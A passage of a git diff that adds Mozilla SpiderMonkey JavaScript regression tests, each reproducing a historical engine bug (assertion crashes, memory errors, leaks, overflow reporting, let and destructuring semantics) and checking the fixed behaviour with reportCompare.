+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 404755;
+var summary = 'Do not consume heap when deleting property';
+var actual = 'No leak';
+var expect = 'No leak';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var n = 1 << 22;
+ var o = {};
+ do {
+ o[0] = 0;
+ delete o[0];
+ } while (--n != 0);
+
+ gc();
+ var time = Date.now();
+ gc();
+ time = Date.now() - time;
+
+ o = {};
+ o[0] = 0;
+ delete o[0];
+ gc();
+ var time2 = Date.now();
+ gc();
+ time2 = Date.now() - time2;
+ print(time+" "+time2);
+ if (time > 2 && time > time2 * 5)
+ throw "A possible leak is observed";
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-406769.js b/js/src/tests/non262/regress/regress-406769.js
new file mode 100644
index 0000000000..3a9eee80d0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-406769.js
@@ -0,0 +1,152 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 406769;
+var summary = 'Regression from bug 398609 caused infinite loop';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+var a0;
+var a1;
+var a2;
+var a3;
+var a4;
+var a5;
+var a6;
+var a7;
+var a8;
+var a9;
+var a10;
+var a11;
+var a12;
+var a13;
+var a14;
+var a15;
+var a16;
+var a17;
+var a18;
+var a19;
+var a20;
+var a21;
+var a22;
+var a23;
+var a24;
+var a25;
+var a26;
+var a27;
+var a28;
+var a29;
+var a30;
+var a31;
+var a32;
+var a33;
+var a34;
+var a35;
+var a36;
+var a37;
+var a38;
+var a39;
+var a40;
+var a41;
+var a42;
+var a43;
+var a44;
+var a45;
+var a46;
+var a47;
+var a48;
+var a49;
+var a50;
+var a51;
+var a52;
+var a53;
+var a54;
+var a55;
+var a56;
+var a57;
+var a58;
+var a59;
+var a60;
+var a61;
+var a62;
+var a63;
+var a64;
+var a65;
+var a66;
+var a67;
+var a68;
+var a69;
+var a70;
+var a71;
+var a72;
+var a73;
+var a74;
+var a75;
+var a76;
+var a77;
+var a78;
+var a79;
+var a80;
+var a81;
+var a82;
+var a83;
+var a84;
+var a85;
+var a86;
+var a87;
+var a88;
+var a89;
+var a90;
+var a91;
+var a92;
+var a93;
+var a94;
+var a95;
+var a96;
+var a97;
+var a98;
+var a99;
+var a100;
+var a101;
+var a102;
+var a103;
+var a104;
+var a105;
+var a106;
+var a107;
+var a108;
+var a109;
+var a110;
+var a111;
+var a112;
+var a113;
+var a114;
+var a115;
+var a116;
+var a117;
+var a118;
+var a119;
+var a120;
+var a121;
+var a122;
+var a123;
+var a124;
+var a125;
+for (var a126 = 1; a126 < ([1,2,3]).length -1; ++a126)
+ 1;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-407024.js b/js/src/tests/non262/regress/regress-407024.js
new file mode 100644
index 0000000000..dc0fb45ee5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-407024.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407024;
+var summary = 'Do not assert pn3->pn_val.isNumber() || pn3->pn_val.isString() || pn3->pn_val.isBoolean()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+eval("function f(x) { switch (x) { case Array: return 1; }}");
+var result = f(Array);
+if (result !== 1)
+ throw "Unexpected result: "+String(result);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-407727-01.js b/js/src/tests/non262/regress/regress-407727-01.js
new file mode 100644
index 0000000000..f92113f5e2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-407727-01.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407727;
+var summary = 'let Object global redeclaration';
+var actual = '';
+var expect = 1;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+let Object = 1;
+actual = Object;
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-407727-02.js b/js/src/tests/non262/regress/regress-407727-02.js
new file mode 100644
index 0000000000..bcc7a38ab8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-407727-02.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407727;
+var summary = 'let Object block redeclaration';
+var actual = '';
+var expect = 1;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+{
+ let Object = 1;
+ actual = Object;
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-410649.js b/js/src/tests/non262/regress/regress-410649.js
new file mode 100644
index 0000000000..2f8c552ea4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-410649.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 410649;
+var summary = 'function statement and destructuring parameter name clash';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(a) {
+ function a() { }
+ return a;
+ }
+
+ function g([a, b]) {
+ function a() { }
+ return a;
+ }
+
+ expect = 'function';
+ actual = typeof f(1);
+ reportCompare(expect, actual, "type for simple parameter case");
+
+ expect = 'function';
+ actual = typeof g([1, 2]);
+ reportCompare(expect, actual, "type for destructuring parameter case");
+}
diff --git a/js/src/tests/non262/regress/regress-410852.js b/js/src/tests/non262/regress/regress-410852.js
new file mode 100644
index 0000000000..98bfb99046
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-410852.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 410852;
+var summary = 'Valgrind errors in jsemit.cpp';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('Note: You must run this test under valgrind to determine if it passes');
+
+ try
+ {
+ eval('function(){if(t)');
+ }
+ catch(ex)
+ {
+ assertEq(ex instanceof SyntaxError, true, "wrong error: " + ex);
+ }
+
+ reportCompare(true, true, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-414553.js b/js/src/tests/non262/regress/regress-414553.js
new file mode 100644
index 0000000000..6ae0ed9a3f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-414553.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 414553;
+var summary = '';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var expected = '1,2,3,4';
+
+let a = 1, [b,c] = [2,3], d = 4;
+var actual = String([a,b,c,d]);
+
+reportCompare(expected, actual, 'destructuring assignment in let');
+
+function f() {
+ {
+ let a = 1, [b,c] = [2,3], d = 4;
+ return String([a,b,c,d]);
+ }
+}
+
+reportCompare(expected, f(), 'destructuring assignment in let inside func');
diff --git a/js/src/tests/non262/regress/regress-416737-01.js b/js/src/tests/non262/regress/regress-416737-01.js
new file mode 100644
index 0000000000..e55a5366ef
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-416737-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416737;
+var summary = 'Do not assert: *pc == JSOP_GETARG';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { (function([]){ function n(){} })(1) });
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/regress/regress-416737-02.js b/js/src/tests/non262/regress/regress-416737-02.js
new file mode 100644
index 0000000000..e1bb84ff30
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-416737-02.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416737;
+var summary = 'Do not assert: *pc == JSOP_GETARG';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function([]){ function n(){} };
+ if (typeof dis == 'function')
+ {
+ dis(f);
+ }
+ print(f);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-417893.js b/js/src/tests/non262/regress/regress-417893.js
new file mode 100644
index 0000000000..330858c0e6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-417893.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 417893;
+var summary = 'Fast natives must use JS_THIS/JS_THIS_OBJECT';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (function() { var s = function(){}.prototype.toSource; s(); })();
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "No TypeError for Object.prototype.toSource");
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-418540.js b/js/src/tests/non262/regress/regress-418540.js
new file mode 100644
index 0000000000..855ec1e593
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-418540.js
@@ -0,0 +1,51 @@
+// |reftest| skip-if(xulRuntime.shell||(xulRuntime.OS=="WINNT"&&isDebugBuild)) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 418540;
+var summary = 'Do not assert: OBJ_IS_NATIVE(obj)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ gDelayTestDriverEnd = true;
+ window.onload = boom;
+}
+
+function boom()
+{
+ var p;
+ var b = document.createElement("body");
+ var v = document.createElement("div");
+ b.getAttribute("id")
+ v.getAttribute("id")
+ for (p in v) { }
+ for (p in b) { }
+ b.__proto__ = [];
+ try { aC(v, null); } catch(e) { }
+ try { aC(b, null); } catch(e) { }
+
+ setTimeout(check, 1000);
+}
+
+function aC(r, n) { r.appendChild(n); }
+
+function check()
+{
+ expect = actual = 'No Crash';
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
diff --git a/js/src/tests/non262/regress/regress-418641.js b/js/src/tests/non262/regress/regress-418641.js
new file mode 100644
index 0000000000..616412eb26
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-418641.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 418641;
+var summary = '++ and -- correctness';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function get_pre_check(operand, op)
+{
+ return "{\n"+
+ " "+operand+" = I;\n"+
+ " let tmp = "+op+op+operand+";\n"+
+ " if ("+operand+" !== Number(I) "+op+" 1)\n"+
+ " throw Error('"+op+op+operand+" case 1 for '+JSON.stringify(I));\n"+
+ " if (tmp !== "+operand+")\n"+
+ " throw Error('"+op+op+operand+" case 2 for '+JSON.stringify(I));\n"+
+ "}\n";
+}
+
+function get_post_check(operand, op)
+{
+ return "{\n"+
+ " "+operand+" = I;\n"+
+ " let tmp = "+operand+op+op+";\n"+
+ " if ("+operand+" !== Number(I) "+op+" 1)\n"+
+ " throw Error('"+operand+op+op+" case 1 for '+JSON.stringify(I));\n"+
+ " if (tmp !== Number(I))\n"+
+ " throw Error('"+op+op+operand+" case 2 for '+JSON.stringify(I));\n"+
+ "}\n";
+}
+
+function get_check_source(operand)
+{
+ return get_pre_check(operand, '+')+
+ get_pre_check(operand, '-')+
+ get_post_check(operand, '+')+
+ get_post_check(operand, '-');
+}
+
+var arg_check = Function('I', 'a', get_check_source('a'));
+var let_check = Function('I', 'let a;'+get_check_source('a'));
+var var_check = Function('I', 'var a;'+get_check_source('a'));
+
+var my_name;
+var my_obj = {};
+var my_index = 0;
+var name_check = Function('I', get_check_source('my_name'));
+var prop_check = Function('I', get_check_source('my_obj.x'));
+var elem_check = Function('I', get_check_source('my_obj[my_index]'));
+
+var test_values = [0 , 0.5, -0.0, (1 << 30) - 1, 1 - (1 << 30)];
+
+for (let i = 0; i != test_values.length; i = i + 1) {
+ let x = [test_values[i], String(test_values[i])];
+ for (let j = 0; j != x.length; j = j + 1) {
+ try
+ {
+ expect = actual = 'No Error';
+ let test_value = x[j];
+ arg_check(test_value, 0);
+ let_check(test_value);
+ var_check(test_value);
+ name_check(test_value);
+ prop_check(test_value);
+ elem_check(test_value);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + i + ', ' + j);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-419018.js b/js/src/tests/non262/regress/regress-419018.js
new file mode 100644
index 0000000000..43627cb677
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-419018.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 419018;
+var summary = 'UMR in JSENUMERATE_INIT';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('This test must be run under valgrind to check if an UMR occurs in slowarray_enumerate');
+
+ try
+ {
+ function parse() {
+ var a = []; // need array init
+ a["b"] = 1; // need to set obj property
+ return a;
+ }
+ // var c; // can't declare c
+ // var d = {}; // can't add this (weird!)
+ // var d = ""; // nor this
+ var x = parse(""); // won't crash without string arg (weird!)
+ // var d = ""; // nor here
+ for (var o in x)
+ c[o]; // need to look up o in undefined object
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/regress/regress-419152.js b/js/src/tests/non262/regress/regress-419152.js
new file mode 100644
index 0000000000..64ab7d7380
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-419152.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 419152;
+var summary = 'Shaver can not contain himself';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a = [1,2,3];
+
+ a[5] = 6;
+ expect = '1,2,3,,,6:6';
+ actual = a + ':' + a.length;
+ reportCompare(expect, actual, summary + ': 1');
+
+ a = [1,2,3,4];
+ expect = 'undefined';
+ actual = a[-1] + '';
+ reportCompare(expect, actual, summary + ': 2');
+
+ a = [1,2,3];
+ a[-1] = 55;
+
+ expect = 3;
+ actual = a.length;
+ reportCompare(expect, actual, summary + ': 3');
+
+ expect = '1,2,3';
+ actual = a + '';
+ reportCompare(expect, actual, summary + ': 4');
+
+ expect = 55;
+ actual = a[-1];
+ reportCompare(expect, actual, summary + ': 5');
+
+ var s = "abcdef";
+
+ expect = 'undefined';
+ actual = s[-2] + '';
+ reportCompare(expect, actual, summary + ': 6');
+}
diff --git a/js/src/tests/non262/regress/regress-419803.js b/js/src/tests/non262/regress/regress-419803.js
new file mode 100644
index 0000000000..11d0d85440
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-419803.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 419803;
+var summary = 'Do not assert: sprop->parent == scope->lastProp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<2; ++i) ({ p: 5, p: 7 });
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-420087.js b/js/src/tests/non262/regress/regress-420087.js
new file mode 100644
index 0000000000..9184059434
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-420087.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 420087;
+var summary = 'Do not assert: PCVCAP_MAKE(sprop->shape, 0, 0) == entry->vcap';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var dict;
+
+ for (var i = 0; i < 2; i++)
+ dict = {p: 1, q: 1, p:1};
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-420610.js b/js/src/tests/non262/regress/regress-420610.js
new file mode 100644
index 0000000000..a74d216553
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-420610.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 420610;
+var summary = 'Do not crash with eval("this.x")';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+(function(){ eval("this.x") })();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-420919.js b/js/src/tests/non262/regress/regress-420919.js
new file mode 100644
index 0000000000..9ef95a9ebf
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-420919.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 420919;
+var summary = 'this.u.v = 1 should report this.u is undefined';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError: (this.u is undefined|can't access property "v", this.u is undefined)/;
+
+ try
+ {
+ this.u.v = 1;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-422348.js b/js/src/tests/non262/regress/regress-422348.js
new file mode 100644
index 0000000000..e94c397db2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-422348.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(xulRuntime.XPCOMABI.match(/x86_64|aarch64|ppc64|ppc64le|s390x|mips64/)) -- On 64-bit, takes forever rather than throwing
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 422348;
+var summary = 'Proper overflow error reporting';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'InternalError: allocation size overflow';
+ try
+ {
+ Array(1 << 30).sort();
+ actual = 'No Error';
+ }
+ catch (ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-424311.js b/js/src/tests/non262/regress/regress-424311.js
new file mode 100644
index 0000000000..ce4ff74c85
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-424311.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 424311;
+var summary = 'Do not assert: entry->kpc == ((PCVCAP_TAG(entry->vcap) > 1) ? (jsbytecode *) JSID_TO_ATOM(id) : cx->fp->regs->pc)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function(){(function(){ constructor=({}); })()})();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-425360.js b/js/src/tests/non262/regress/regress-425360.js
new file mode 100644
index 0000000000..6daf871022
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-425360.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(xulRuntime.shell||(xulRuntime.OS=="WINNT"&&isDebugBuild)) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 425360;
+var summary = 'Do not assert: !cx->throwing';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+function finishtest()
+{
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
+
+function throwBlah()
+{
+ throw 'blah';
+}
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+gDelayTestDriverEnd = true;
+window.onerror = null;
+setTimeout('finishtest()', 1000);
+window.onload = (function () { setInterval('throwBlah()', 0); });
+setInterval('foo(', 0);
diff --git a/js/src/tests/non262/regress/regress-426827.js b/js/src/tests/non262/regress/regress-426827.js
new file mode 100644
index 0000000000..8b80d40895
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-426827.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 426827;
+var summary = 'Do not assert: !(CodeSpec[op2].format & JOF_DEL)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('eval()=delete a;');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-427798.js b/js/src/tests/non262/regress/regress-427798.js
new file mode 100644
index 0000000000..db889f3522
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-427798.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 427798;
+var summary = 'js_PutBlockObject is slow';
+var actual = 'Good result';
+var expect = 'Good result';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(N)
+ {
+ for (var i = 0; i != N; ++i) {
+ var f, g;
+ {
+ let j = i + 1;
+ f = function() { j += 2; return j; }
+ if (f() != i + 3)
+ throw "Bad result";
+ }
+ if (f() != i + 5)
+ throw "Bad result";
+ {
+ let j = i + 1, k = i + 2;
+ f = function() { j += 2; k++; return j + k; }
+ if (f() != i + i + 6)
+ throw "Bad result";
+ }
+ if (f() != i + i + 9)
+ throw "Bad result";
+ }
+ }
+
+ try
+ {
+ f(20*1000);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-428366.js b/js/src/tests/non262/regress/regress-428366.js
new file mode 100644
index 0000000000..13a6699fd3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-428366.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 428366;
+var summary = 'Do not assert deleting eval 16 times';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.__proto__.x = eval;
+for (i = 0; i < 16; ++i) delete eval;
+(function w() { x = 1; })();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-433279-01.js b/js/src/tests/non262/regress/regress-433279-01.js
new file mode 100644
index 0000000000..f64223169b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-433279-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
